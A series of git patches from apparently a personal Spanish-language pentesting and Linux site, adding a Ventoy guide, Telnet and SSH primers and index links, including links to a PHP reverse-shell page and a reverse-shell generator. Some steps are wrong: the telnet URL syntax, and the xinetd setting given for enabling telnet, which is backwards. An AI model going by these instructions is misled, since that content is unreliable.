mediante el comando: git clone https://github.com/ventoy/Ventoy.git -Una vez descargado descomprimimos el archivo. Para ello nos dirigimos al directorio donde se encuentre el archivo descargado y ejecutamos el siguiente +Una vez descargado, creraremos un directorio llamado `Ventoy` y movemos el archivo descargado para luego proceder a descomprimirlo: + + mkdir Ventoy & mv ventoy-1.0.74-linux.tar.gz ./Ventoy + +![Captura de pantalla -2022-05-14 13-42-15](https://user-images.githubusercontent.com/103068924/168425974-fbf6b698-db6a-41e0-9451-94742987fdc4.png) + +![Captura de pantalla -2022-05-14 13-42-50](https://user-images.githubusercontent.com/103068924/168425978-60adeed7-791a-4d9c-b2c0-cc7dcca00c02.png) + +Descomprimimos el archivo. Para ello nos dirigimos al directorio donde se encuentre el archivo descargado y ejecutamos el siguiente comando: tar -xf [Archivo.tar.gz] - + +![Captura de pantalla -2022-05-14 13-44-58](https://user-images.githubusercontent.com/103068924/168425984-0aee4b1c-34a5-46a6-9c20-f46e238b224e.png) + Una vez descomprimido, vemos que nos aparece una carpeta nueva en el mismo directorio. Ya disponemos de Ventoy y podemos borrar el archivo `.tar.gz` que hemos descomprimido. Finalmente, para instalarlo ejecutamos: From 3c6cd30ad91dab12c8146e675179657918190eca Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sat, 14 May 2022 14:39:10 +0200 Subject: [PATCH 0366/1701] Update index.md --- index.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/index.md b/index.md index 8a7cde6bed0..439e550f9c1 100644 --- a/index.md +++ b/index.md @@ -18,6 +18,8 @@ [Hack The Box](./Artículos/Artículos-HTB.html) +[Bootear USB en Linux con Ventoy](f1r0x.github.io/Linux/Programas_para_Linux/Ventoy.md) + [Instalación de Twitch en Linux mediante Flatpak](./Linux/GnomeTwitch.html) --- From b87dc68ae75c41119bebb96195d3e06e1beaec48 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sat, 14 May 2022 14:40:59 +0200 Subject: [PATCH 0367/1701] Update Linux.md --- Linux/Linux.md | 1 + 1 file changed, 1 insertion(+) diff --git a/Linux/Linux.md b/Linux/Linux.md index 736369add2c..affdc633ab7 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -10,6 +10,7 @@ de dispositivos, gestores y administradores de terminales, etc. En mi caso estoy # Dispositivos: [Bluetoothctl](../Linux/Introducción_a_Linux/Bluetoothctl.html) +[Ventoy](/f1r0x.github.io/Linux/Programas_para_Linux) # Programas de Descargas: Estos son distintos programas de Descarga de archivos para diferentes plataformas y archivos. From 12d0102a3a4dca4f5560bfda5b31d2ec026c829a Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sat, 14 May 2022 14:41:21 +0200 Subject: [PATCH 0368/1701] Update Linux.md --- Linux/Linux.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index affdc633ab7..c42ec790123 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -9,7 +9,8 @@ de dispositivos, gestores y administradores de terminales, etc. En mi caso estoy # Dispositivos: -[Bluetoothctl](../Linux/Introducción_a_Linux/Bluetoothctl.html) +[Bluetoothctl](../Linux/Introducción_a_Linux/Bluetoothctl.html) + [Ventoy](/f1r0x.github.io/Linux/Programas_para_Linux) # Programas de Descargas: From ddabe20dbd2bcdc9304bb0f1f190d2b80884e246 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sat, 14 May 2022 14:42:34 +0200 Subject: [PATCH 0369/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 439e550f9c1..a76a74109cd 100644 --- a/index.md +++ b/index.md @@ -18,7 +18,7 @@ [Hack The Box](./Artículos/Artículos-HTB.html) -[Bootear USB en Linux con Ventoy](f1r0x.github.io/Linux/Programas_para_Linux/Ventoy.md) +[Bootear USB en Linux con Ventoy](./Linux/Programas_para_Linux/Ventoy.html) [Instalación de Twitch en Linux mediante Flatpak](./Linux/GnomeTwitch.html) From 8b13ea2445f1af915f1321a30bacb32e3d4f4e8d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sat, 14 May 2022 14:43:02 +0200 Subject: [PATCH 0370/1701] Update Linux.md --- Linux/Linux.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index c42ec790123..6cefc771fda 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -11,7 +11,7 @@ de dispositivos, gestores y administradores de terminales, etc. En mi caso estoy [Bluetoothctl](../Linux/Introducción_a_Linux/Bluetoothctl.html) -[Ventoy](/f1r0x.github.io/Linux/Programas_para_Linux) +[Ventoy](/f1r0x.github.io/Linux/Programas_para_Linux/Ventoy.html) # Programas de Descargas: Estos son distintos programas de Descarga de archivos para diferentes plataformas y archivos. From 369725f95cddcef452f88f41763ee59adabbbe83 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 15 May 2022 00:08:26 +0200 Subject: [PATCH 0371/1701] Create Telnet.md --- "Art\303\255culos/Telnet.md" | 35 +++++++++++++++++++++++++++++++++++ 1 file changed, 35 insertions(+) create mode 100644 "Art\303\255culos/Telnet.md" diff --git "a/Art\303\255culos/Telnet.md" "b/Art\303\255culos/Telnet.md" new file mode 100644 index 00000000000..5da973101c2 --- /dev/null +++ "b/Art\303\255culos/Telnet.md" @@ -0,0 +1,35 @@ +# Telnet + +# ¿Qué es Telnet? + +Telnet es el nombre de un protocolo de red que nos +permite acceder a otra máquina para manejarla +remotamente como si estuviéramos sentados delante +de ella. También es el nombre del programa +informático que implementa el cliente. + +Para que la conexión funcione, como en todos los +servicios de Internet, la máquina a la que se +acceda debe tener un programa especial que +reciba y gestione las conexiones. El puerto +que se utiliza generalmente es el 23/TCP. + +# Funcionamiento: + +Telnet sólo sirve para acceder en modo terminal, es decir, +sin gráficos, pero es una herramienta muy útil +para arreglar fallos a distancia, sin necesidad +de estar físicamente en el mismo sitio que la +máquina que los tenga. También se usaba para +consultar datos a distancia, como datos personales + en máquinas accesibles por red, información +bibliográfica, etc. + +Aparte de estos usos, en general telnet se ha +utilizado (y aún hoy se puede utilizar en su +variante SSH) para abrir una sesión con una +máquina UNIX, de modo que múltiples usuarios +con cuenta en la máquina, se conectan, abren +sesión y pueden trabajar utilizando esa máquina. +Es una forma muy usual de trabajar con sistemas +UNIX. From b9659d2e22c41c0ad27675f1136b63268e8d787b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 15 May 2022 01:21:58 +0200 Subject: [PATCH 0372/1701] Update Telnet.md --- "Art\303\255culos/Telnet.md" | 42 ++++++++++++------------------------ 1 file changed, 14 insertions(+), 28 deletions(-) diff --git "a/Art\303\255culos/Telnet.md" "b/Art\303\255culos/Telnet.md" index 5da973101c2..cd74f223a00 100644 --- "a/Art\303\255culos/Telnet.md" +++ "b/Art\303\255culos/Telnet.md" @@ -2,34 +2,20 @@ # ¿Qué es Telnet? -Telnet es el nombre de un protocolo de red que nos -permite acceder a otra máquina para manejarla -remotamente como si estuviéramos sentados delante -de ella. También es el nombre del programa -informático que implementa el cliente. - -Para que la conexión funcione, como en todos los -servicios de Internet, la máquina a la que se -acceda debe tener un programa especial que -reciba y gestione las conexiones. El puerto -que se utiliza generalmente es el 23/TCP. +Telnet es el nombre de un protocolo de red que nos permite acceder a otra máquina para manejarla remotamente como si estuviéramos sentados delante +de ella. También es el nombre del programa informático que implementa el cliente. + +Para que la conexión funcione, como en todos los servicios de Internet, la máquina a la que se acceda debe tener un programa especial que +reciba y gestione las conexiones. El puerto que se utiliza generalmente es el 23/TCP. # Funcionamiento: -Telnet sólo sirve para acceder en modo terminal, es decir, -sin gráficos, pero es una herramienta muy útil -para arreglar fallos a distancia, sin necesidad -de estar físicamente en el mismo sitio que la -máquina que los tenga. También se usaba para -consultar datos a distancia, como datos personales - en máquinas accesibles por red, información -bibliográfica, etc. - -Aparte de estos usos, en general telnet se ha -utilizado (y aún hoy se puede utilizar en su -variante SSH) para abrir una sesión con una -máquina UNIX, de modo que múltiples usuarios -con cuenta en la máquina, se conectan, abren -sesión y pueden trabajar utilizando esa máquina. -Es una forma muy usual de trabajar con sistemas -UNIX. +Telnet sólo sirve para acceder en modo terminal, es decir, sin gráficos, pero es una herramienta muy útil para arreglar fallos a distancia, sin necesidad +de estar físicamente en el mismo sitio que la máquina que los tenga. También se usaba para consultar datos a distancia, como datos personales +en máquinas accesibles por red, información bibliográfica, etc. + +Aparte de estos usos, en general telnet se ha utilizado (y aún hoy se puede utilizar en su variante SSH) para abrir una sesión con una +máquina UNIX, de modo que múltiples usuarios con cuenta en la máquina, se conectan, abren sesión y pueden trabajar utilizando esa máquina. +Es una forma muy usual de trabajar con sistemas UNIX. + + From 7e03bcfdaab9192e6d5d42214ee2acbb47b077fe Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 15 May 2022 01:40:56 +0200 Subject: [PATCH 0373/1701] Update Telnet.md --- "Art\303\255culos/Telnet.md" | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git "a/Art\303\255culos/Telnet.md" "b/Art\303\255culos/Telnet.md" index cd74f223a00..8f83cd4c987 100644 --- "a/Art\303\255culos/Telnet.md" +++ "b/Art\303\255culos/Telnet.md" @@ -18,4 +18,33 @@ Aparte de estos usos, en general telnet se ha utilizado (y aún hoy se puede uti máquina UNIX, de modo que múltiples usuarios con cuenta en la máquina, se conectan, abren sesión y pueden trabajar utilizando esa máquina. Es una forma muy usual de trabajar con sistemas UNIX. +# Ejecución: +Podemos conectarnos a un cliente con el servicio Telnet activo utilizando el comando `telnet` seguido del `host` o de la `Ip` de equipo que establece +el servicio Telnet a traves del puerto 23 TCP. + + telnet http://ejemplo.com/ + + telnet 10.10.10.10 + +Una vez establecida la conexión nos pedira un `Usuario` pulsamos `Enter` y una `Contraseña` y volmeos a pulsar `Enter` para finalizar. Una vez echo +esto tendremos acceso al equipo. + +# Seguridad: + +Hay 3 razones principales por las que el telnet no se recomienda para los sistemas modernos desde el punto de vista de la seguridad: + +1. Los dominios de uso general del telnet tienen varias vulnerabilidades descubiertas a lo largo de los años, y varias más que podrían aún existir. + +2. Telnet, por defecto, no cifra ninguno de los datos enviados sobre la conexión (contraseñas inclusive), así que es fácil interferir y grabar las + comunicaciones, y utilizar la contraseña más adelante para propósitos maliciosos. + +3. Telnet carece de un esquema de autenticación que permita asegurar que la comunicación esté siendo realizada entre los dos anfitriones deseados, + y no interceptada entre ellos. + +En ambientes donde es importante la seguridad, por ejemplo en el Internet público, telnet no debe ser utilizado. Las sesiones de telnet no son cifradas. +Esto significa que cualquiera que tiene acceso a cualquier router, switch, o gateway localizado en la red entre los dos anfitriones donde se está +utilizando telnet puede interceptar los paquetes de telnet que pasan cerca y obtener fácilmente la información de la conexión y de la contraseña +(y cualquier otra cosa que se mecanografía) con cualesquiera de varias utilidades comunes como `tcpdump` y `Wireshark`. + +Estos defectos han causado el abandono y despreciación del protocolo telnet rápidamente, a favor de un protocolo más seguro y más funcional llamado SSH. From 6eeea94ebd101bf6a1520253c95bb610d6092b10 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 15 May 2022 01:43:44 +0200 Subject: [PATCH 0374/1701] Update Telnet.md --- "Art\303\255culos/Telnet.md" | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git "a/Art\303\255culos/Telnet.md" "b/Art\303\255culos/Telnet.md" index 8f83cd4c987..a1aec117147 100644 --- "a/Art\303\255culos/Telnet.md" +++ "b/Art\303\255culos/Telnet.md" @@ -10,25 +10,24 @@ reciba y gestione las conexiones. El puerto que se utiliza generalmente es el 23 # Funcionamiento: -Telnet sólo sirve para acceder en modo terminal, es decir, sin gráficos, pero es una herramienta muy útil para arreglar fallos a distancia, sin necesidad +Telnet solo sirve para acceder en modo terminal, es decir, sin gráficos, pero es una herramienta muy útil para arreglar fallos a distancia, sin necesidad de estar físicamente en el mismo sitio que la máquina que los tenga. También se usaba para consultar datos a distancia, como datos personales en máquinas accesibles por red, información bibliográfica, etc. -Aparte de estos usos, en general telnet se ha utilizado (y aún hoy se puede utilizar en su variante SSH) para abrir una sesión con una +Aparte de estos usos, en general telnet se ha empleado (y aún hoy se puede utilizar en su variante SSH) para abrir una sesión con una máquina UNIX, de modo que múltiples usuarios con cuenta en la máquina, se conectan, abren sesión y pueden trabajar utilizando esa máquina. Es una forma muy usual de trabajar con sistemas UNIX. # Ejecución: Podemos conectarnos a un cliente con el servicio Telnet activo utilizando el comando `telnet` seguido del `host` o de la `Ip` de equipo que establece -el servicio Telnet a traves del puerto 23 TCP. +el servicio Telnet a través del puerto 23 TCP. telnet http://ejemplo.com/ telnet 10.10.10.10 -Una vez establecida la conexión nos pedira un `Usuario` pulsamos `Enter` y una `Contraseña` y volmeos a pulsar `Enter` para finalizar. Una vez echo -esto tendremos acceso al equipo. +Una vez establecida la conexión nos pedirá un `Usuario` pulsamos `Enter` y una `Contraseña` y volvemos a pulsar `Enter` para finalizar. Una vez hecho esto tendremos acceso al equipo. # Seguridad: @@ -44,7 +43,7 @@ Hay 3 razones principales por las que el telnet no se recomienda para los sistem En ambientes donde es importante la seguridad, por ejemplo en el Internet público, telnet no debe ser utilizado. Las sesiones de telnet no son cifradas. Esto significa que cualquiera que tiene acceso a cualquier router, switch, o gateway localizado en la red entre los dos anfitriones donde se está -utilizando telnet puede interceptar los paquetes de telnet que pasan cerca y obtener fácilmente la información de la conexión y de la contraseña +usando telnet puede interceptar los paquetes de telnet que pasan cerca y obtener fácilmente la información de la conexión y de la contraseña (y cualquier otra cosa que se mecanografía) con cualesquiera de varias utilidades comunes como `tcpdump` y `Wireshark`. -Estos defectos han causado el abandono y despreciación del protocolo telnet rápidamente, a favor de un protocolo más seguro y más funcional llamado SSH. +Estos defectos han causado el abandono y depreciación del protocolo telnet rápidamente, a favor de un protocolo más seguro y más funcional llamado SSH. From edabc927d2a7229f0e9d3bd0734ae876d0e6a470 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 15 May 2022 01:48:43 +0200 Subject: [PATCH 0375/1701] Update index.md --- index.md | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/index.md b/index.md index a76a74109cd..fac23fb84c8 100644 --- a/index.md +++ b/index.md @@ -35,9 +35,10 @@ Herramientas útiles para la fase de reconocimiento, como reportes de SO o recop 4.[mkt](./Herramientas_y_Scripts/mkt.html) 5.[SetTarget](./Linux/ZSH/Settarget.html) -## Shells: -Herramientas para crear shells inversas. +## Control remoto de Equipos y Shells Inversas: +Programas y herramientas para crear accesos remotos y shells inversas con otros equipos. +[Telnet](./Artículos/Telnet.html) [php-reverse-shell.php](./Herramientas_y_Scripts/php-reverse-shell.html) ## Hash: From d32c86214f9bdaca144992772c94a7cbc1f60c99 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 15 May 2022 02:06:24 +0200 Subject: [PATCH 0376/1701] Update Telnet.md --- "Art\303\255culos/Telnet.md" | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git "a/Art\303\255culos/Telnet.md" "b/Art\303\255culos/Telnet.md" index a1aec117147..e3d88b1c56a 100644 --- "a/Art\303\255culos/Telnet.md" +++ "b/Art\303\255culos/Telnet.md" @@ -47,3 +47,22 @@ usando telnet puede interceptar los paquetes de telnet que pasan cerca y obtener (y cualquier otra cosa que se mecanografía) con cualesquiera de varias utilidades comunes como `tcpdump` y `Wireshark`. Estos defectos han causado el abandono y depreciación del protocolo telnet rápidamente, a favor de un protocolo más seguro y más funcional llamado SSH. + +# Activar/Descativar Telnet en Windows: + +Para activar Telnet en Windows 10, abre el menú de inicio y busca el término `características`. + +En los resultados, pulsa sobre `Activar o desactivar las características de Windows`, que es una de las opciones que puedes encontrarte en el +antiguo panel de control heredado de versiones anteriores de Windows. + +Se abrirá directamente una ventana en la que puedes activar características avanzadas de Windows que suelen estar ocultas. En ella, `activa` la +opción de `Cliente Telnet` y pulsa en el botón `Aceptar`. + +Windows se tomará unos segundos para buscar los archivos necesarios, y al terminar ya estará activada la función en el ordenador. Esto lo +tienes que hacer tanto en el equipo al que te quieres conectar como ese desde el que te conectarás. + +# Activar/Descativar Telnet en Windows: + +El archivo de configuración de telnet es `/etc/xinetd.d/telnet`. Para habilitar el servidor telnet, debe abrir este archivo y asegurarse de que +`Deshabilitar = No` está como `Deshabilitar = Sí`. + From b398a21735fe97cf634881d2c95fa8fa42d8a928 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 15 May 2022 02:24:25 +0200 Subject: [PATCH 0377/1701] Create SSH.md --- "Art\303\255culos/SSH.md" | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+) create mode 100644 "Art\303\255culos/SSH.md" diff --git "a/Art\303\255culos/SSH.md" "b/Art\303\255culos/SSH.md" new file mode 100644 index 00000000000..5fde0522d40 --- /dev/null +++ "b/Art\303\255culos/SSH.md" @@ -0,0 +1,28 @@ +# SSH + +# ¿Qué es SSH? + +SSH o Secure Shell, es un protocolo de administración remota que le permite a los usuarios controlar y modificar sus servidores remotos a través +de Internet a través de un mecanismo de autenticación. + +Proporciona un mecanismo para autenticar un usuario remoto, transferir entradas desde el cliente al host y retransmitir la salida de vuelta al +cliente. El servicio se creó como un reemplazo seguro para el Telnet sin cifrar y utiliza técnicas criptográficas para garantizar que todas las +comunicaciones hacia y desde el servidor remoto sucedan de manera encriptada. + +# ¿Cómo funciona SSH? + +Si usas Linux o Mac, entonces usar el protocolo SSH es muy fácil. Si utilizas Windows, deberás utilizar un cliente SSH para abrir conexiones SSH. +Para iniciar un servicio SSH en Linux ejecutamos el comando `ssh`, donde especificamos el `usurio` y el `host` separados por `@`. + + ssh [Usuario]@[Host] + +`ssh` : Le indica a tu sistema que desea abrir una Conexión de Shell Segura y cifrada. + +`Usuario` : Representa la cuenta a la que deseas acceder. Podemos acceder como `root` si queremos tener máximos privilegios en el equipo cliente. + +`Host` : Hace referencia al equipo al que quieres acceder. Esto puede ser una dirección IP (10.10.10.10) o un nombre de + dominio (www.ejemplo.com). + +Una vez establecida la conexión nos pedira la contraseña de la cuenta solicitada. La introducimos, pulsamos `Enter` y finalmente tendremos control +del equipo. + From dc13816b42a0078a858b59f7f88f4823b138855b Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 15 May 2022 02:27:35 +0200 Subject: [PATCH 0378/1701] Update index.md --- index.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index fac23fb84c8..1ad25657163 100644 --- a/index.md +++ b/index.md @@ -38,8 +38,9 @@ Herramientas útiles para la fase de reconocimiento, como reportes de SO o recop ## Control remoto de Equipos y Shells Inversas: Programas y herramientas para crear accesos remotos y shells inversas con otros equipos. +[SSH](./Artículos/SSH.html) [Telnet](./Artículos/Telnet.html) -[php-reverse-shell.php](./Herramientas_y_Scripts/php-reverse-shell.html) +[php-reverse-shell.php](./Herramientas_y_Scripts/php-reverse-shell.html) ## Hash: Herramientas de reconocimiento y desencriptación de hash. From e1aef1cfff457acac90e077e7c161f312a3e92e1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Sun, 15 May 2022 02:28:03 +0200 Subject: [PATCH 0379/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index 1ad25657163..ec9f520a178 100644 --- a/index.md +++ b/index.md @@ -38,7 +38,7 @@ Herramientas útiles para la fase de reconocimiento, como reportes de SO o recop ## Control remoto de Equipos y Shells Inversas: Programas y herramientas para crear accesos remotos y shells inversas con otros equipos. -[SSH](./Artículos/SSH.html) +[SSH](./Artículos/SSH.html) [Telnet](./Artículos/Telnet.html) [php-reverse-shell.php](./Herramientas_y_Scripts/php-reverse-shell.html) From a03cd84b52b6eaeb3faddf296b492b75d623b9d3 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 08:10:11 +0200 Subject: [PATCH 0380/1701] Update index.md --- index.md | 1 + 1 file changed, 1 insertion(+) diff --git a/index.md b/index.md index ec9f520a178..e0955e0e1a8 100644 --- a/index.md +++ b/index.md @@ -22,6 +22,7 @@ [Instalación de Twitch en Linux mediante Flatpak](./Linux/GnomeTwitch.html) +Reverse Shell Generator --> [Link](https://www.revshells.com/) --- # Herramientas y Scripts From 4e04db5d67c11737abb3f76bf62cf0d82f981f91 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 08:11:09 +0200 Subject: [PATCH 0381/1701] Update index.md --- index.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/index.md b/index.md index e0955e0e1a8..eb44a4526c4 100644 --- a/index.md +++ b/index.md @@ -10,7 +10,7 @@ --- -# Artículos +# Artículos [Linux](./Linux/Linux.html) @@ -23,6 +23,7 @@ [Instalación de Twitch en Linux mediante Flatpak](./Linux/GnomeTwitch.html) Reverse Shell Generator --> [Link](https://www.revshells.com/) + --- # Herramientas y Scripts From b82c667e9d26cdab512b2df54d06fda4c14dc706 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 08:11:49 +0200 Subject: [PATCH 0382/1701] Update index.md --- index.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/index.md b/index.md index eb44a4526c4..64e7f76705b 100644 --- a/index.md +++ b/index.md @@ -22,7 +22,7 @@ [Instalación de Twitch en Linux mediante Flatpak](./Linux/GnomeTwitch.html) -Reverse Shell Generator --> [Link](https://www.revshells.com/) +Reverse Shell Generator --> [Link](https://www.revshells.com/) --- From 0234fe97db193e4b8a11a669e2de70de05ab11e1 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 08:16:28 +0200 Subject: [PATCH 0383/1701] Update index.md --- index.md | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/index.md b/index.md index 64e7f76705b..0acbec3a9db 100644 --- a/index.md +++ b/index.md @@ -22,8 +22,6 @@ [Instalación de Twitch en Linux mediante Flatpak](./Linux/GnomeTwitch.html) -Reverse Shell Generator --> [Link](https://www.revshells.com/) - --- # Herramientas y Scripts @@ -42,7 +40,8 @@ Programas y herramientas para crear accesos remotos y shells inversas con otros [SSH](./Artículos/SSH.html) [Telnet](./Artículos/Telnet.html) -[php-reverse-shell.php](./Herramientas_y_Scripts/php-reverse-shell.html) +[php-reverse-shell.php](./Herramientas_y_Scripts/php-reverse-shell.html) +Reverse Shell Generator --> [Link](https://www.revshells.com/) ## Hash: Herramientas de reconocimiento y desencriptación de hash. From 7d33afdbb63d41596b121f1effbc3a488682f859 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 08:28:27 +0200 Subject: [PATCH 0384/1701] Update Linux.md --- Linux/Linux.md | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/Linux/Linux.md b/Linux/Linux.md index 6cefc771fda..e8d23d097aa 100644 --- a/Linux/Linux.md +++ b/Linux/Linux.md @@ -5,7 +5,11 @@ de dispositivos, gestores y administradores de terminales, etc. En mi caso estoy # Introducción a Linux: -[¿Qué es Linux?](../Linux/Introducción_a_Linux/Introducción_a_Linux.html) +[¿Qué es Linux?](../Linux/Introducción_a_Linux/Introducción_a_Linux.html) + +[Comandos Básicos en Linux](../Linux/Introducción_a_Linux/Comandos_básicos_Linux.htm) + +[Escalada Básica de Privilegios en Linux](../Linux/Escalada_básica_de_privilegios_Linux.html) # Dispositivos: @@ -26,6 +30,7 @@ Para descargar tanto vídeos como audio de Youtube desde la Terminal. [Youtube-dl](../Linux/Programas_para_Linux/Youtube-dl.html) -# Gestor de Comandos: +# Intérete de Comandos: +Un intérprete de órdenes o de comandos, es un programa informático que tiene la capacidad de traducir las órdenes que introducen los usuarios, mediante un conjunto de instrucciones facilitadas por él mismo directamente al núcleo y al conjunto de herramientas que forman el sistema operativo. [ZSH](../Linux/ZSH/ZSH.html) From 50cb23249aeeb3c746d90a5dd1c758930b3b698d Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 08:34:44 +0200 Subject: [PATCH 0385/1701] =?UTF-8?q?Create=20Comnados=5Fb=C3=A1sicos=5FLi?= =?UTF-8?q?nux.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- "Linux/Comnados_b\303\241sicos_Linux.md" | 15 +++++++++++++++ 1 file changed, 15 insertions(+) create mode 100644 "Linux/Comnados_b\303\241sicos_Linux.md" diff --git "a/Linux/Comnados_b\303\241sicos_Linux.md" "b/Linux/Comnados_b\303\241sicos_Linux.md" new file mode 100644 index 00000000000..0f6cfba472d --- /dev/null +++ "b/Linux/Comnados_b\303\241sicos_Linux.md" @@ -0,0 +1,15 @@ +# Comandos Básicos de Linux + +Linux es una familia completa de sistemas operativos Unix de código abierto, que se basan en el kernel de Linux. Esto incluye todos los sistemas +basados en Linux más populares como Ubuntu, Fedora, Mint, Debian y otros. Más exactamente, se llaman distribuciones o versiones. + +Al operar un sistema operativo Linux, debes usar un shell, una interfaz que te da acceso a los servicios del sistema operativo. La mayoría de +las distribuciones de Linux utilizan una interfaz gráfica de usuario (GUI) como shell, principalmente para proporcionar facilidad de uso a sus usuarios. + +## Aquí hay una lista de comandos básicos de Linux: + +- `pwd` : Usa el comando pwd para encontrar la ruta del directorio (carpeta) de trabajo actual en el que te encuentras. El comando devolverá una ruta +absoluta (completa), que es básicamente una ruta de todos los directorios que comienzan con una barra diagonal (/) Un ejemplo de una ruta absoluta es +`/home/nombredeusuario`. + + From b795bb9a72c98c92d2f3455a7a6df758928c2dc3 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 08:36:47 +0200 Subject: [PATCH 0386/1701] =?UTF-8?q?Rename=20Comnados=5Fb=C3=A1sicos=5FLi?= =?UTF-8?q?nux.md=20to=20Comandos=5Fb=C3=A1sicos=5FLinux.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Comandos_b\303\241sicos_Linux.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Linux/Comnados_b\303\241sicos_Linux.md" => "Linux/Comandos_b\303\241sicos_Linux.md" (100%) diff --git "a/Linux/Comnados_b\303\241sicos_Linux.md" "b/Linux/Comandos_b\303\241sicos_Linux.md" similarity index 100% rename from "Linux/Comnados_b\303\241sicos_Linux.md" rename to "Linux/Comandos_b\303\241sicos_Linux.md" From 5ab17ac5b2db03eba8ed6606ab2298645e2da634 Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 08:38:49 +0200 Subject: [PATCH 0387/1701] =?UTF-8?q?Rename=20Linux/Comandos=5Fb=C3=A1sico?= =?UTF-8?q?s=5FLinux.md=20to=20Linux/Introducci=C3=B3n=5Fa=5FLinux/Comando?= =?UTF-8?q?s=5Fb=C3=A1sicos=5FLinux.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename "Linux/Comandos_b\303\241sicos_Linux.md" => "Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" (100%) diff --git "a/Linux/Comandos_b\303\241sicos_Linux.md" "b/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" similarity index 100% rename from "Linux/Comandos_b\303\241sicos_Linux.md" rename to "Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" From 5fe6e3166083fc880b406616796c1ec90cf73e6c Mon Sep 17 00:00:00 2001 From: F1r0x <103068924+F1r0x@users.noreply.github.com> Date: Tue, 17 May 2022 08:58:39 +0200 Subject: [PATCH 0388/1701] =?UTF-8?q?Update=20Comandos=5Fb=C3=A1sicos=5FLi?= =?UTF-8?q?nux.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../Comandos_b\303\241sicos_Linux.md" | 82 ++++++++++++++++++- 1 file changed, 80 insertions(+), 2 deletions(-) diff --git "a/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" "b/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" index 0f6cfba472d..65d7d43ab9b 100644 --- "a/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" +++ "b/Linux/Introducci\303\263n_a_Linux/Comandos_b\303\241sicos_Linux.md" @@ -8,8 +8,86 @@ las distribuciones de Linux utilizan una interfaz gráfica de usuario (GUI) como ## Aquí hay una lista de comandos básicos de Linux: -- `pwd` : Usa el comando pwd para encontrar la 